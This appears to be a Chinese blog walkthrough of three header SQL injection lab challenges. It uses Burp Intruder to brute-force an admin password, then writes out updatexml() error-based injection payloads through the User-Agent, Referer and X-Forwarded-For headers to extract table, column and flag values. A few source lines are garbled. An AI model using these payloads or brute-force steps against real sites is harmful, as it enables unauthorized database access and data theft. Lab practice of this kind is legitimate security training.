header注入练习

本文详细介绍了如何利用SQL注入技术,从登录验证绕过到数据库信息获取的过程。通过Burp Suite工具,演示了密码爆破、数据库名、表名和字段名的探测,最终揭示了敏感数据。内容包括头注入、报错注入等方法,适用于网络安全研究和防护。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

第一题:
1.判断注入方法。
看源码,因为用户名密码处用正则表达式过滤,禁止了\号的输入,所以查看其它可以注入的地方。 u a g e n t 处 可 以 做 h e a d 注 入 。 要 执 行 h e a d 注 入 , 必 须 uagent处可以做head注入。要执行head注入,必须 uagentheadheadrow有数据,即登录成功时才可。这也跟Head注入一般都需要用户名密码登录成功才能注入的常识吻合

2.得到用户名密码
用Burp抓包:打开burp,输入账户admin,密码胡乱输入,提交→进burp,Intruder.Positions→Clear→把要跑的部分选中(这里选中胡乱输入的密码部分)→Add→点Payloads.Load,选择自己想加载的字典(成功的话在右边文本框会显示)→点最上面菜单栏的Instruder.Start attact(开始用字典里面的东西替换数据包,通过Length和Status不同,排序找到不一样的,选中此行,点击Response.Raw,从代码行中找到汉字提示,如提示登录成功,则为跑出来的正确密码)。通过上述方法获得用户名密码之一为admin,123456

3.用报错注入判断库名
**
报错注入原理:因为路径的不存在等原因,产生报错,从报错提示中获得想要的数据。最常见最有名的报错注入——updatexml()。格式:updatexml(目标xml内容,xml文档路径,更新的内容)使用举例:updatexml(1,concat(‘’,database()),1),因为会报错并且database()优先执行,所以会报出database()库名。
**
源码:
INSERT INTO uagent(‘uagent’,’username’) VALUES(‘ u a g e n t ’ , ’ uagent’,’ uagent,uname’)

$uagent=1’ and updatexml(1,concat(‘~’,database()),1) ,’1’)— qwe

可以用插件,name处输入User-Agent,Value处输入 1’ and updatexml(1,concat(‘~’,database()),1) ,’1’)— qwe
得出报错:
XPATH syntax error: ‘~head_error’,
所以库名为head_error(其实得到库名与否没太大意义,后面用database()替代了。)

4.判断表名。
用插件,name处输入User-Agent,Value处输入1’ and updatexml(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database()) ),1) ,’1’)— qwe
用户名密码输入admin 123456,提交,得出报错:Subquery returns more than 1 row
错误原因是字符串不止一行,加limit再试一下。
1’ and updatexml(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 0,1) ),1) ,’1’)— qwe
得到报错:XPATH syntax error: ‘~flag_head’,
所以表名为flag_head5.判断字段名。
用插件,name处输入User-Agent,Value处输入1’ and updatexml(1,concat(‘~’,(select column_name from information_schema.columns where table_schema=database() and table_name=’flag_head’ limit 1,1) ),1) ,’1’)— qwe
得到报错:XPATH syntax error: ‘~flag_h1’,
所以字段名为flag_h1

6.寻找具体数据.
用插件,name处输入User-Agent,Value处输入1’ and updatexml(1,concat(‘~’,(select flag_h1 from flag_head limit 0,1) ),1) ,’1’)— qwe
得到报错: error: ‘~zKaQ-YourHd’
此题答案为zKaQ-YourHd
改变limit,得到其他答案:zKaQ-Refer 等

第二题:原理同题目一,先burp跑密码跑出admin 123456。
再用插件,name处输入REFERER,然而插件不生效了。换burp手动注入。代码跟题目一完全相同。
得到表名为flag_head。字段名为flag_h1。zKaQ-YourHd为答案之一。

第三题:
X_FORWARDED_FOR
用插件,偷个懒就猜之前的表名字段名都一样,直接复制1’ and updatexml(1,concat(‘~’,(select flag_h1 from flag_head limit 0,1) ),1) ,’1’)— qwe
出答案:zKaQ-YourHd

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值